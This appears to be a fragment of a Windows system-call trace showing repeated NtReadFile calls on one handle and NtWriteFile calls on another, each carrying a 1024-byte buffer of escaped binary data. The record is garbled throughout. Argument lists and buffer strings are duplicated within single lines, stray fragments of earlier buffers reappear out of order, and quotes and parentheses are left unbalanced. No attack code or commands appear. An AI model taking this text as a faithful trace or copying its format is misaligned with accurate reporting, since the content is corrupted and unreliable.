FO\6\336\336\367\237\16\227\305\1'\321\241\215\35`\2731\266\1k\37\257\262\235\333\334E\220\326\340\305\314%\234\275\240\343\20\340\246\214\223\275\265\311\326\223\314\307\354\231\267H \304D\256}7\203\11}\226s\351k\326U\374\15m\367Iea\316y\237\20\231\356'\2435\257\323\203\300\2638\271\223\20\221\3219\237M\263\212\264\370\322y\206N\226\35\207\330R+6\2j\352\271\261-\26\345$\333\331\335t\33\347\227|\261|lNP\232\301\321\321\235\347\340\217w\304\374\0%i\17L\210O&h\240\251\16hfHM\345\276#\30\337\333\236\337\32\220\377\313\245'\217\264\10\3359\11x\237a?V\15wg\303sy\251\272\305\360}x\374\364 \270#\6\206\262\2\253\232\366\307,\217\243go\207\24~\11w9\334u\375\342\312\344\220E\21\336\217!\36\332|\221\224\232\232\4\234\161\375\277=\220\26j\244", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) , 1024, 0x0, 0, ... {status=0x0, info=1024}, ) == 0x0
 01424  1356   NtReadFile  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024},  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "\32\32\36\22\24\34\34\33\20\34\36\26\37\35\5\3\10\4\6\16\3\3\14\3\15\11\7\5\6\14!+/%*\22\31\30\24\26\36\27\24\34\21\20\34\36\26\34\34\4\13\5\1\17\4\16\1\14\3\15\11\7\14\10\7"&*,$\25\22\24\31\23\27\35\23\30\30\20\34\36\26\31\35\6\13\5\1\17\4\5\0\14\3\15\11\7\14\12\10,&*,$\22\21\22\32\36\22\24\34\31\21\32\23\26\32\34\24\1\3\1\12\16\2\4\14\11\10\16\17\6\12\14\4*.$'%\27\23\31\22\26\26\23\35\37\33\21\32\24\27\31\35\13\0\12\0\16\2\4\14\11\16\11\11\6\12\14\4,-)$(\22\32\23\23\21\20\34\20\32\22\33\33\37\35\24\30\2\12\3\5\4\4\14\0\12\2\13\17\11\15\4\10)'..-\32\26\20\30\25\27\26\24\22\36\30\20\35\36\37\37\12\6\0\10\5\4\17\3\2\16\10\0\15\14\7\14!+/%.\24\23\33\31\23\27\35\26\21\21\23\21\33\37\25\36\11\5\1\11\3\7\15\16\10\14\0\14\16\6\7\17"&*,$\26\24\20\31\23\27\35\36\36\30\20\34\36\26\31\34\11\13\5\1\17\4\4\3\14\3\15\11\7\17\15\12!+/%.\21\25\30\24\26\36\27\23\30\23\35\31\27\34\34\27\5\13\5\1\17\4\4\6\16\3\15\11\7\14\6\7*&*,$\26\23\22\31\23\27\35\26\34\30\36\21\33\37\25\33\3\4\10\4\6\16\7\0\1\16\0\14\16\6\17\15#%')-\33\22\27\32\36\22\24\34\33\34\32\21\33\37\25\27\5\7\10\4\6\16\17\6\14\3\15\11\7\17\16\16"&*,$\24\21\27\31\23\27\35\26\30\35\37\21\33\37\25\36\6\11\0\11\3\7\15\17\14\15\0\14\16\6\12\5,.&/)\20\27\30\24\26\36\22\24\32\23\35\31\27\32\33\26\12\6\0\10\5", ) &*,$\25\22\24\31\23\27\35\23\30\30\20\34\36\26\31\35\6\13\5\1\17\4\5\0\14\3\15\11\7\14\12\10,&*,$\22\21\22\32\36\22\24\34\31\21\32\23\26\32\34\24\1\3\1\12\16\2\4\14\11\10\16\17\6\12\14\4*.$'%\27\23\31\22\26\26\23\35\37\33\21\32\24\27\31\35\13\0\12\0\16\2\4\14\11\16\11\11\6\12\14\4,-)$(\22\32\23\23\21\20\34\20\32\22\33\33\37\35\24\30\2\12\3\5\4\4\14\0\12\2\13\17\11\15\4\10)'..-\32\26\20\30\25\27\26\24\22\36\30\20\35\36\37\37\12\6\0\10\5\4\17\3\2\16\10\0\15\14\7\14!+/%.\24\23\33\31\23\27\35\26\21\21\23\21\33\37\25\36\11\5\1\11\3\7\15\16\10\14\0\14\16\6\7\17 (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "\32\32\36\22\24\34\34\33\20\34\36\26\37\35\5\3\10\4\6\16\3\3\14\3\15\11\7\5\6\14!+/%*\22\31\30\24\26\36\27\24\34\21\20\34\36\26\34\34\4\13\5\1\17\4\16\1\14\3\15\11\7\14\10\7"&*,$\25\22\24\31\23\27\35\23\30\30\20\34\36\26\31\35\6\13\5\1\17\4\5\0\14\3\15\11\7\14\12\10,&*,$\22\21\22\32\36\22\24\34\31\21\32\23\26\32\34\24\1\3\1\12\16\2\4\14\11\10\16\17\6\12\14\4*.$'%\27\23\31\22\26\26\23\35\37\33\21\32\24\27\31\35\13\0\12\0\16\2\4\14\11\16\11\11\6\12\14\4,-)$(\22\32\23\23\21\20\34\20\32\22\33\33\37\35\24\30\2\12\3\5\4\4\14\0\12\2\13\17\11\15\4\10)'..-\32\26\20\30\25\27\26\24\22\36\30\20\35\36\37\37\12\6\0\10\5\4\17\3\2\16\10\0\15\14\7\14!+/%.\24\23\33\31\23\27\35\26\21\21\23\21\33\37\25\36\11\5\1\11\3\7\15\16\10\14\0\14\16\6\7\17"&*,$\26\24\20\31\23\27\35\36\36\30\20\34\36\26\31\34\11\13\5\1\17\4\4\3\14\3\15\11\7\17\15\12!+/%.\21\25\30\24\26\36\27\23\30\23\35\31\27\34\34\27\5\13\5\1\17\4\4\6\16\3\15\11\7\14\6\7*&*,$\26\23\22\31\23\27\35\26\34\30\36\21\33\37\25\33\3\4\10\4\6\16\7\0\1\16\0\14\16\6\17\15#%')-\33\22\27\32\36\22\24\34\33\34\32\21\33\37\25\27\5\7\10\4\6\16\17\6\14\3\15\11\7\17\16\16"&*,$\24\21\27\31\23\27\35\26\30\35\37\21\33\37\25\36\6\11\0\11\3\7\15\17\14\15\0\14\16\6\12\5,.&/)\20\27\30\24\26\36\22\24\32\23\35\31\27\32\33\26\12\6\0\10\5", ) &*,$\24\21\27\31\23\27\35\26\30\35\37\21\33\37\25\36\6\11\0\11\3\7\15\17\14\15\0\14\16\6\12\5,.&/)\20\27\30\24\26\36\22\24\32\23\35\31\27\32\33\26\12\6\0\10\5", ) == 0x0
 01425  1356   NtWriteFile  (92, 0, 0, 0,  (92, 0, 0, 0, "9\202\2L\215#\357\335\377D\221\35\232\365]\230\354Q\2669\361\243\314?<[\264\21D\321\207\230G\351F\313\215X\240 \11\337\332\252\377\23\261\361\200\215\272\25\3462\344\375\270\276\323\15a\204\1\244G\7x\373H\2068\0\316\333\336\370\314\362\303\265\251L\5\177\212\272,\366[\5-\\347\347\361\222p`\364\26ToP\327\315\242\32\21$\220\243F\206\16\332hf\3\137\242\3574l\326\14\364\346b\312c>\373\322\234\3279\365k\3433\3J\323\214\273\211yX\210]l\222\5;\233\275\215\235TI\33z\363\24\271\363\272\325"\22\275\311]\342\236<\363A\220\335\14j\370(~\343i\30D\7\22K\236\255\351\276\221\270\210\261~x\201\346\200\235\37\210Y.\267KH\300\252ql\371\215\247\323z\277c\343i\2\352\252=b\244\16\200\260.m\265\37c8\350\324\361E/\125>\10\361A\337D\267\235\363\260tI\336f\4\334\202bIQ\2\257\220\360\227%\256]\11\257\317F\0\10\267\350\360\16\334\214\311\304\317"\376\324.\277\370j`W\27!\225\21\267\222\17\260sh\365^z\23\235\215\224\371N\252\257\37\375s\207\211g\352\3667\262\262q\25\233\250F \235\2i\236\272\224\27\266B\261y(\345\345\4\34\223\225\231\234\202CI\341Z\226)lB>thzW\32V.\202JX\200\334\203B\356\34j\20!y?\33\333s\12g<\13\2260\256\307\374\27\10\244\37|\303\341f\226!~W\2525\214\320\326\272l\13\216cT<\261&\310"\331&\325\321\300f,\364SjU Ym\216\270\353\14\247\275$\314@\231\331\376\345dy\335Z\232}\310\253\205\276\314<\205\12\23\225\317\350\331\15\302n\343Q7J\210\33\222y\230\201@\3174$GJ\36", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) \22\275\311]\342\236<\363A\220\335\14j\370(~\343i\30D\7\22K\236\255\351\276\221\270\210\261~x\201\346\200\235\37\210Y.\267KH\300\252ql\371\215\247\323z\277c\343i\2\352\252=b\244\16\200\260.m\265\37c8\350\324\361E/\125>\10\361A\337D\267\235\363\260tI\336f\4\334\202bIQ\2\257\220\360\227%\256]\11\257\317F\0\10\267\350\360\16\334\214\311\304\317 (92, 0, 0, 0, "9\202\2L\215#\357\335\377D\221\35\232\365]\230\354Q\2669\361\243\314?<[\264\21D\321\207\230G\351F\313\215X\240 \11\337\332\252\377\23\261\361\200\215\272\25\3462\344\375\270\276\323\15a\204\1\244G\7x\373H\2068\0\316\333\336\370\314\362\303\265\251L\5\177\212\272,\366[\5-\\347\347\361\222p`\364\26ToP\327\315\242\32\21$\220\243F\206\16\332hf\3\137\242\3574l\326\14\364\346b\312c>\373\322\234\3279\365k\3433\3J\323\214\273\211yX\210]l\222\5;\233\275\215\235TI\33z\363\24\271\363\272\325"\22\275\311]\342\236<\363A\220\335\14j\370(~\343i\30D\7\22K\236\255\351\276\221\270\210\261~x\201\346\200\235\37\210Y.\267KH\300\252ql\371\215\247\323z\277c\343i\2\352\252=b\244\16\200\260.m\265\37c8\350\324\361E/\125>\10\361A\337D\267\235\363\260tI\336f\4\334\202bIQ\2\257\220\360\227%\256]\11\257\317F\0\10\267\350\360\16\334\214\311\304\317"\376\324.\277\370j`W\27!\225\21\267\222\17\260sh\365^z\23\235\215\224\371N\252\257\37\375s\207\211g\352\3667\262\262q\25\233\250F \235\2i\236\272\224\27\266B\261y(\345\345\4\34\223\225\231\234\202CI\341Z\226)lB>thzW\32V.\202JX\200\334\203B\356\34j\20!y?\33\333s\12g<\13\2260\256\307\374\27\10\244\37|\303\341f\226!~W\2525\214\320\326\272l\13\216cT<\261&\310"\331&\325\321\300f,\364SjU Ym\216\270\353\14\247\275$\314@\231\331\376\345dy\335Z\232}\310\253\205\276\314<\205\12\23\225\317\350\331\15\302n\343Q7J\210\33\222y\230\201@\3174$GJ\36", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) \331&\325\321\300f,\364SjU Ym\216\270\353\14\247\275$\314@\231\331\376\345dy\335Z\232}\310\253\205\276\314<\205\12\23\225\317\350\331\15\302n\343Q7J\210\33\222y\230\201@\3174$GJ\36", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) == 0x0
 01426  1356   NtReadFile  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024},  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "\0\15\14\10\14!+/%.\23\24\22\31\23\27\35\25\31\23\35\31\27\37\36\35\12\6\0\10\5\15\6\3\2\16\10\0\16\16\11\5,.&/-\22\23\30\24\26\36\27\36\30\20\20\34\36\26\27\34\1\13\5\1\17\4\4\15\17\13\1\14\14\12\4\10)',(+\27\33\25\21\37\24\24\37\32\23\35\31\27\34\32\27\11\13\5\1\17\7\5\1\2\16\10\0\15\13\14\10!+/%'\27\20\30\24\26\36\20\27\30\23\35\31\27\34\34\32\10\13\5\1\17\7\1\4\2\16\10\0\16\16\6\5,.&/'\26\31\30\24\26\36\27\24\36\32\20\34\36\26\32\34\4\13\5\1\17\7\6\5\11\3\15\11\7\10\12\14!+/%.\22\25\32\31\23\27\35\25\34\23\35\31\27\37\30\27\12\6\0\10\5\4\16\6\2\16\10\0\12\13\13\5,.&/,\25\30\30\24\26\36\27\37\21\34\20\34\36\26\37\31\4\0\10\4\6\16\0\4\1\3\15\11\7\14\16\16*&*,$\27\30\25\31\23\27\35\20\30\32\20\34\36\26\32\27\10\13\5\1\17\4\0\7\13\3\15\11\7\4\13\6!+/%.\22\30\24\31\23\27\35\25\21\30\20\34\36\26\30\27\3\13\5\1\17\14\17\4\2\16\10\0\15\11\6\15!+/%)\24\23\30\24\26\36\27\37\30\30\20\34\36\26\37\26\11\7\10\4\6\16\7\3\12\10\0\14\16\6\14\17*(')-\33\20\25\21\34\37\21\25\23\34\36\31\26\32\34\24\1\6\4\12\16\2\4\14\11\17\2\1\13\17\5\12+)')-\33\27\32\27\36\22\24\34\31\31\37\21\33\37\25\36\3\1\12\11\3\7\15\3\12\10\0\14\16\6\17\12+,')-\33\20\25\25\26\37\21\25\23\30\36\36\26\32\34\24\1\10\5\5\16\2\4\14\11\0\10\11\6\12\14\4*.+'%\27\23\31\24\35\37\21\25\23", ) , ) == 0x0
 01427  1356   NtWriteFile  (92, 0, 0, 0,  (92, 0, 0, 0, "\373\232F\14\230b"\370r\257l\21>\244SM\245\324\266\355\332\2465\370\241U\277\261\326\274B\3h\34Gd\202:\214%\371\362\273(\346tX8qb}\362\242\14\377=}\201\36jv\\300\212N\211S\337\235\237\321\226r\363\335\342\27\227\253\232\230\364z\323\327P\262|\2335\371\265\30\354\340\225\361\345\302\235\244\303\343\371B\215_\354Ccyt\220\376\275h\316\322Zi\224\255\336\330Q\277\321/\320\215\377\365$Y\230\262\353\214\12\223#S\12\231Z\374\26\362'k\177\313\11(\272\351\300\241\355\234z\5\354\32\363\21\355?f\276X\350\222R#\364I\330\273\371\315\357)\276-\302\12(\3252\237\257\270\11>\201\357\342\35\311\353\367\352\2\243\242K\273\20\147>\17\230\365\4\354>O\26\305\317\272<\3668B\34\356%\26\275\36\203\312\231A\221\273\244S\23\1\215\212g\\22\243\223\332[\321\223>\235Oq$j\304\23\271\224\261\313\3531\310F\312\242\310\240\36\334\325\257\23\2546\367\237\352\33\221\262\273\216$\212H\257\232\2\264\11\11\13\215\354}i\331\252}\200q\377'r\273\346\327`\310\336\316\330\226\26\5j\355T\23\241y\31\3305\227_\371\231g\247d\212(\301I,\364\300\262on0\2113\242P\5\26*\12\27\212\305%h}\374mj\315\332\3D9\334i<\324\220n*\324l\340\225\363\327\356\260%\330\14&\276\347R40\347\345y\363\344\3509\245\371\207\34\275_?<\206\335\25\360\2e;\265lo\31\360m\247U\277\0\330g\233\367\310\5\322\257B\364\271T\255`cD\212r\300\24V\26\220\206;.\33\256m\275\224\242\316\27e~8A\12\15\331N\14%\230\373=T\2l\3636\3474Np\6I\350\223\327\316\361^\245\330\307\374\30\207", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) \370r\257l\21>\244SM\245\324\266\355\332\2465\370\241U\277\261\326\274B\3h\34Gd\202:\214%\371\362\273(\346tX8qb}\362\242\14\377=}\201\36jv\\300\212N\211S\337\235\237\321\226r\363\335\342\27\227\253\232\230\364z\323\327P\262|\2335\371\265\30\354\340\225\361\345\302\235\244\303\343\371B\215_\354Ccyt\220\376\275h\316\322Zi\224\255\336\330Q\277\321/\320\215\377\365$Y\230\262\353\214\12\223#S\12\231Z\374\26\362'k\177\313\11(\272\351\300\241\355\234z\5\354\32\363\21\355?f\276X\350\222R#\364I\330\273\371\315\357)\276-\302\12(\3252\237\257\270\11>\201\357\342\35\311\353\367\352\2\243\242K\273\20\147>\17\230\365\4\354>O\26\305\317\272<\3668B\34\356%\26\275\36\203\312\231A\221\273\244S\23\1\215\212g\\22\243\223\332[\321\223>\235Oq$j\304\23\271\224\261\313\3531\310F\312\242\310\240\36\334\325\257\23\2546\367\237\352\33\221\262\273\216$\212H\257\232\2\264\11\11\13\215\354}i\331\252}\200q\377'r\273\346\327`\310\336\316\330\226\26\5j\355T\23\241y\31\3305\227_\371\231g\247d\212(\301I,\364\300\262on0\2113\242P\5\26*\12\27\212\305%h}\374mj\315\332\3D9\334i<\324\220n*\324l\340\225\363\327\356\260%\330\14&\276\347R40\347\345y\363\344\3509\245\371\207\34\275_?<\206\335\25\360\2e;\265lo\31\360m\247U\277\0\330g\233\367\310\5\322\257B\364\271T\255`cD\212r\300\24V\26\220\206;.\33\256m\275\224\242\316\27e~8A\12\15\331N\14%\230\373=T\2l\3636\3474Np\6I\350\223\327\316\361^\245\330\307\374\30\207", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) == 0x0
 01428  1356   NtReadFile  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024},  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "\35\13\0\5\2\16\2\4\14\11\16\15\17\6\12\14\4*,,&%\27\23\31\22\22\26\37\35\37\33\21\31\31\33\24\30\2\12\3\2\5\15\14\0\12\2\16\13\4\7\11\15 *-'%\27\23\31\22\34\20\23\35\37\33\21\30\34\36\24\30\2\12\12\7\14\17\1\5\3\10\17\16\14\7\11\15 $/,%\27\23\31\22\23\25\24\35\37\33\21\31\36\27\31\35\13\0\3\1\16\2\4\14\16\12\10\1\13\17\5\11,*')-\33\20\22\24\26\37\21\25\23\30\36\22\26\32\34\24\1\2\7\13\16\2\4\14\15\17\17\1\13\17\5\13")')-\33\20\32\27\20\37\21\25\23\34\31\23\26\32\34\24\1\3\5\1\16\2\4\14\11\11\13\11\6\12\14\4*-*(%\27\23\31\24\22\23\34\20\32\22\35\31\33\27\31\35\13\0\4\0\14\17\1\5\3\10\15\2\14\7\11\15 %)*%\27\23\31\32\34\21\34\20\32\22\31\22\24\27\31\35\13\0\3\2\2\17\1\5\3\1\3\16\6\12\14\4-(*$(\22\32\25\21\35\37\21\25\23\30\23\34\24\27\31\35\13\2\13\6\16\2\4\14\11\10\3\11\6\12\14\4-+-$(\22\32\23\21\20\20\34\20\32\22\31\31\37\27\31\35\13\11\3\13\16\2\4\14\15\14\12\1\13\17\5\6(.')-\33\20\26\21\21\37\21\25\23\36\32\36\26\32\34\24\7\2\5\11\3\7\15\6\11\16\17\1\13\17\5\6.)')-\33\22\26\27\36\22\24\34\34\34\36\21\33\37\25\36\10\2\6\11\3\7\15\6\13\16\12\1\13\17\5\16+/.$(\22\32\23\24\26\25\34\20\32\22\31\33\35\27\31\35\13\0\1\0\3\17\1\5\3\16\17\11\6\12\14\4*,)*%\27\23\31\32\25\22\34\20\32\22\31\30\34\27\31\35\13\4\4\13\16\2\4\14\11\0\17\16\6\12\14\4*%", ) )')-\33\20\32\27\20\37\21\25\23\34\31\23\26\32\34\24\1\3\5\1\16\2\4\14\11\11\13\11\6\12\14\4*-*(%\27\23\31\24\22\23\34\20\32\22\35\31\33\27\31\35\13\0\4\0\14\17\1\5\3\10\15\2\14\7\11\15 %)*%\27\23\31\32\34\21\34\20\32\22\31\22\24\27\31\35\13\0\3\2\2\17\1\5\3\1\3\16\6\12\14\4-(*$(\22\32\25\21\35\37\21\25\23\30\23\34\24\27\31\35\13\2\13\6\16\2\4\14\11\10\3\11\6\12\14\4-+-$(\22\32\23\21\20\20\34\20\32\22\31\31\37\27\31\35\13\11\3\13\16\2\4\14\15\14\12\1\13\17\5\6(.')-\33\20\26\21\21\37\21\25\23\36\32\36\26\32\34\24\7\2\5\11\3\7\15\6\11\16\17\1\13\17\5\6.)')-\33\22\26\27\36\22\24\34\34\34\36\21\33\37\25\36\10\2\6\11\3\7\15\6\13\16\12\1\13\17\5\16+/.$(\22\32\23\24\26\25\34\20\32\22\31\33\35\27\31\35\13\0\1\0\3\17\1\5\3\16\17\11\6\12\14\4*,)*%\27\23\31\32\25\22\34\20\32\22\31\30\34\27\31\35\13\4\4\13\16\2\4\14\11\0\17\16\6\12\14\4*%", ) == 0x0
 01429  1356   NtWriteFile  (92, 0, 0, 0,  (92, 0, 0, 0, "\343pa\271\350U7\25\251\21\375\234\262\355\360C\340\31\31\351fG\367\14~\344\3226\305\236\16\324\321\247h~\%[y6\241\335\246\343w\313\225\17\365:\204\217\247\221G\361\352\302|\302\14\14;\32\210\354;q\233S\20m\322mt\334g\263\13\306\23\377%\313o\7AFw\257\34X\33\223\3\23\331O<\217\253\33\233c\3464\365UL\352~\32\14+\233]\311o\343\344\234:\205\351\216\347\370\3303f\217\13\244\224\374\344\214\346\235^\324Lu\235s #g\322\215o\325\315\373\22X\363\337\332\260\33Mgq\347\304\244\177\340\232\256\220\263\277+C\271\252X\205\217_k\263\20\2307F[O\214%\362\305\263\332\24\273(\304\323*\347*~\257\35\257\266\245$\366J\372\251!\247o\310?kG\207\33O\350\211_\271\274d\36@wR4*Y\332\0\335\352\343\224\234\255~\251\317K+\1\26\124\234\11\325\5\370\217\31\354\27\350\267\322\254\313\271\207z\4&s\213\314u\340="\6;\36\214\266BC\22\331\17\231l$\255 \2\321\267P\272\371u\352'f\27B\205\251[#\22\217\251~\354y\12\327RQ\364\226\23\301"\2556\247\253%SW;\253pq\253\5\377hA\320*\204\304\32\270\225l\225\356u\253\250:F=\221F\324\347l#\256\345w\356\33#\272\205dW\264\201t\0\221\272\302\362lf\352\251\36\226%r\301\2139\3059D\354\27\22\210\300\271\206\216K.q2\252\245\24J&\12\316\266\334\216\303\236\242f\371\4\365i\257\213\210\144", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) \6;\36\214\266BC\22\331\17\231l$\255 \2\321\267P\272\371u\352'f\27B\205\251[#\22\217\251~\354y\12\327RQ\364\226\23\301 (92, 0, 0, 0, "\343pa\271\350U7\25\251\21\375\234\262\355\360C\340\31\31\351fG\367\14~\344\3226\305\236\16\324\321\247h~\%[y6\241\335\246\343w\313\225\17\365:\204\217\247\221G\361\352\302|\302\14\14;\32\210\354;q\233S\20m\322mt\334g\263\13\306\23\377%\313o\7AFw\257\34X\33\223\3\23\331O<\217\253\33\233c\3464\365UL\352~\32\14+\233]\311o\343\344\234:\205\351\216\347\370\3303f\217\13\244\224\374\344\214\346\235^\324Lu\235s #g\322\215o\325\315\373\22X\363\337\332\260\33Mgq\347\304\244\177\340\232\256\220\263\277+C\271\252X\205\217_k\263\20\2307F[O\214%\362\305\263\332\24\273(\304\323*\347*~\257\35\257\266\245$\366J\372\251!\247o\310?kG\207\33O\350\211_\271\274d\36@wR4*Y\332\0\335\352\343\224\234\255~\251\317K+\1\26\124\234\11\325\5\370\217\31\354\27\350\267\322\254\313\271\207z\4&s\213\314u\340="\6;\36\214\266BC\22\331\17\231l$\255 \2\321\267P\272\371u\352'f\27B\205\251[#\22\217\251~\354y\12\327RQ\364\226\23\301"\2556\247\253%SW;\253pq\253\5\377hA\320*\204\304\32\270\225l\225\356u\253\250:F=\221F\324\347l#\256\345w\356\33#\272\205dW\264\201t\0\221\272\302\362lf\352\251\36\226%r\301\2139\3059D\354\27\22\210\300\271\206\216K.q2\252\245\24J&\12\316\266\334\216\303\236\242f\371\4\365i\257\213\210\144", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) , 1024, 0x0, 0, ... {status=0x0, info=1024}, ) == 0x0
 01430  1356   NtReadFile  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024},  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "\22\34\22\25\35\37\33\21\34\35\27\31\35\13\11\0\7\16\2\4\14\17\11\14\1\13\17\5\16/+%$(\22\32\20\22\21\37\21\25\23\35\36\37\26\32\34\24\10\6\10\4\6\16\7\4\0\1\0\14\16\6\17\16-*')-\33\20\21\22\36\22\24\34\33\37\33\21\33\37\25\35\2\3\10\4\6\16\7\0\17\11\0\14\16\6\17\17.%')-\33\22\32\27\36\22\24\34\31\20\22\23\26\32\34\24\5\4\13\11\3\7\15\17\13\16\0\14\16\6\17\14+.')-\33\20\27\32\20\37\21\25\23\32\22\30\26\32\34\24\7\7\3\11\3\7\15\6\17\0\2\1\13\17\5\11"%')-\33\26\21\33\36\22\24\34\31\31\34\22\26\32\34\24\5\3\7\11\3\7\15\6\0\16\12\1\13\17\5\16.-$$(\22\32\23\23\20\26\34\20\32\22\33\31\25\27\31\35\13\10\12\1\16\2\4\14\0\0\14\1\13\17\5\12(+')-\33\27\24\33\36\22\24\34\32\20\23\21\33\37\25\34\4\7\10\4\6\16\7\0\10\16\0\14\16\6\17\13-)')-\33\23\22\27\36\22\24\34\35\34\33\21\33\37\25\33\4\10\10\4\6\16\2\1\10\3\15\11\7\14\12\17,&*,$\21\26\20\22\36\22\24\34\31\34\36\21\33\37\25\36\11\4\12\11\3\7\15\6\16\11\17\1\13\17\5\16).%$(\22\32\23\21\21\26\34\20\32\22\33\23\31\36\24\30\2\12\6\12\6\17\1\5\3\10\10\2\10\7\11\15 -$$(\22\32\23\24\23\20\34\20\32\22\33\33\31\35\24\30\2\12\3\1\2\4\14\0\12\2\10\3\12\7\11\15 -,/+\32\26\20\30\25\20\26\26\22\36\30\20\35\34\35\27\12\6\0\10\15\7\16\15\17\13\1\12\17\5\4\10)'+//\32\26\20\30\25\23\21\22\22\36\30\20\30\32\32\25\7\3\11\2\15\1", ) %')-\33\26\21\33\36\22\24\34\31\31\34\22\26\32\34\24\5\3\7\11\3\7\15\6\0\16\12\1\13\17\5\16.-$$(\22\32\23\23\20\26\34\20\32\22\33\31\25\27\31\35\13\10\12\1\16\2\4\14\0\0\14\1\13\17\5\12(+')-\33\27\24\33\36\22\24\34\32\20\23\21\33\37\25\34\4\7\10\4\6\16\7\0\10\16\0\14\16\6\17\13-)')-\33\23\22\27\36\22\24\34\35\34\33\21\33\37\25\33\4\10\10\4\6\16\2\1\10\3\15\11\7\14\12\17,&*,$\21\26\20\22\36\22\24\34\31\34\36\21\33\37\25\36\11\4\12\11\3\7\15\6\16\11\17\1\13\17\5\16).%$(\22\32\23\21\21\26\34\20\32\22\33\23\31\36\24\30\2\12\6\12\6\17\1\5\3\10\10\2\10\7\11\15 -$$(\22\32\23\24\23\20\34\20\32\22\33\33\31\35\24\30\2\12\3\1\2\4\14\0\12\2\10\3\12\7\11\15 -,/+\32\26\20\30\25\20\26\26\22\36\30\20\35\34\35\27\12\6\0\10\15\7\16\15\17\13\1\12\17\5\4\10)'+//\32\26\20\30\25\23\21\22\22\36\30\20\30\32\32\25\7\3\11\2\15\1", ) == 0x0
 01431  1356   NtWriteFile  (92, 0, 0, 0,  (92, 0, 0, 0, "\246d7\253\375\327SZNv\232\17\3vxD\26q\14\255\10[z\5\2011w\276(\345z\325\372\371(\312W\365\210?r:\337+7\\375-\237\267a=\330'\23c\0#\10x8#4T\6\0(g\215\214i@\214\226Z{\17Ob\6\5\24{\320v\2W\361d\214nB\5\323p\270E\14/\274\22\363\277\326Q\10\261u(\223(\370yR\206\236\16\236\311\261\261\202\34\351\324\22\104\354\6q(u\304\212\237\233.C\213\11I\2026\33R@p\354:\177\300G$\35\300\264\323\312\326Gh\323[^q\345\324\306pX\356\224/\256\303L\300\236\225\2m\315\2458\343\21\367\2713\373\241\361\255d\227b\2555\207<\30\222[\261\3128\344\223\210]\257\314\1\377\372\353s\21\240 \362\261;\345\3529\321!\375\330\224U\265\356\17\314\361|\333\333\2228\316\317\240a\353\13\246\11\20\323\306ZN*\363\352l \22\226\245\234D\276\25\205\312\231\305\23\347\257/\31\25\270Lh%\251\357\2654\25\261\230Nw\207\31$\237\266\375\243\331\202\261K;\371\365\354\227ns\25\34J\232\272\343kVN\356\332\265cS\321\327#\357a\220\27\237cg\315{\272\2312\333\332\222<\344\253:\377\262\370\0\305\212\3\365?\316M\235P\4b\203\263]\242\334\7Y\366"\340\344\\320\317\2519\374M\21\266}\357}4\264a\24\303.\330\222\217\231\357\217 \0\1\202\373\230\245\207\216uO\316\322B\263w\370X\3423\325\331[", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) \340\344\\320\317\2519\374M\21\266}\357}4\264a\24\303.\330\222\217\231\357\217 \0\1\202\373\230\245\207\216uO\316\322B\263w\370X\3423\325\331[", 1024, 0x0, 0, ... {status=0x0, info=1024}, ) == 0x0
 01432  1356   NtReadFile  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024},  (88, 0, 0, 0, 1024, 0x0, 0, ... {status=0x0, info=1024}, "\13\17\5\16#,/$(\22\32\23\24\27\24\34\20\32\22\33\32\30\36\24\30\2\12\5\6\1\17\1\5\3\10\3\16\15\7\11\15 -(+&\32\26\20\30\25\27\26\22\22\36\30\20\37\37\32\25\7\3\11\1\15\3\14\0\12\2\13\15\12\15\4\10)',,)\24\33\25\21\37\24\20\37\33\23\35\31\27\34\35\32\1\13\5\1\17\14\2\5\2\16\10\0\15\10\11\12!+/%.\25\25\33\31\23\27\35\37\20\23\35\31\27\33\26\25\7\3\11\2\6\15\16\15\17\13\1\12\17\11\12\5,.&,.\27\33\25\21\37\24\21\22\32\23\35\31\27\34\32\30\12\6\0\10\2\4\17\15\17\13\1\12\12\17\4\10)',&(\22\33\25\21\37\24\20\25\21\23\35\31\27\31\32\36\12\6\0\10\5\14\6\5\2\16\10\0\15\5\11\13!+/%&\24\30\30\24\26\36\37\36\34\23\35\31\27\33\34\27\12\6\0\10\5\3\5\0\2\16\10\0\15\13\15\12!+/%.\24\27\30\24\26\36\27\36\36\34\20\34\36\26\30\37\3\13\5\1\17\4\17\0\12\3\15\11\7\5\12\5,.&/,\22\22\30\24\26\36\27\27\36\34\20\34\36\26\37\33\10\5\10\4\6\16\7\0\10\14\0\14\16\6\17\6,/')-\33\30\33\26\36\22\24\34\31\33\30\35\26\32\34\24\1\1\13\6\16\2\4\14\11\15\12\11\6\12\14\4*$*(%\27\23\31\22\27\21\27\35\37\33\21\34\30\36\24\30\2\12\0\6\1\17\1\5\3\10\10\2\13\7\11\15 -)-/\32\26\20\30\25\21\27\36\22\36\30\20\35\33\27\35\12\6\0\10\5\2\2\15\17\13\1\12\15\11\7\5,.&/)\22\27\30\24\26\36\27\25\32\34\20\34\36\26\37\37\5\0\10\4\6\16\7\7\14\10\0\14\16\6\17\15,&*,$\21\23\27\31\23\27\35\20\32\33", ) , ) == 0x0
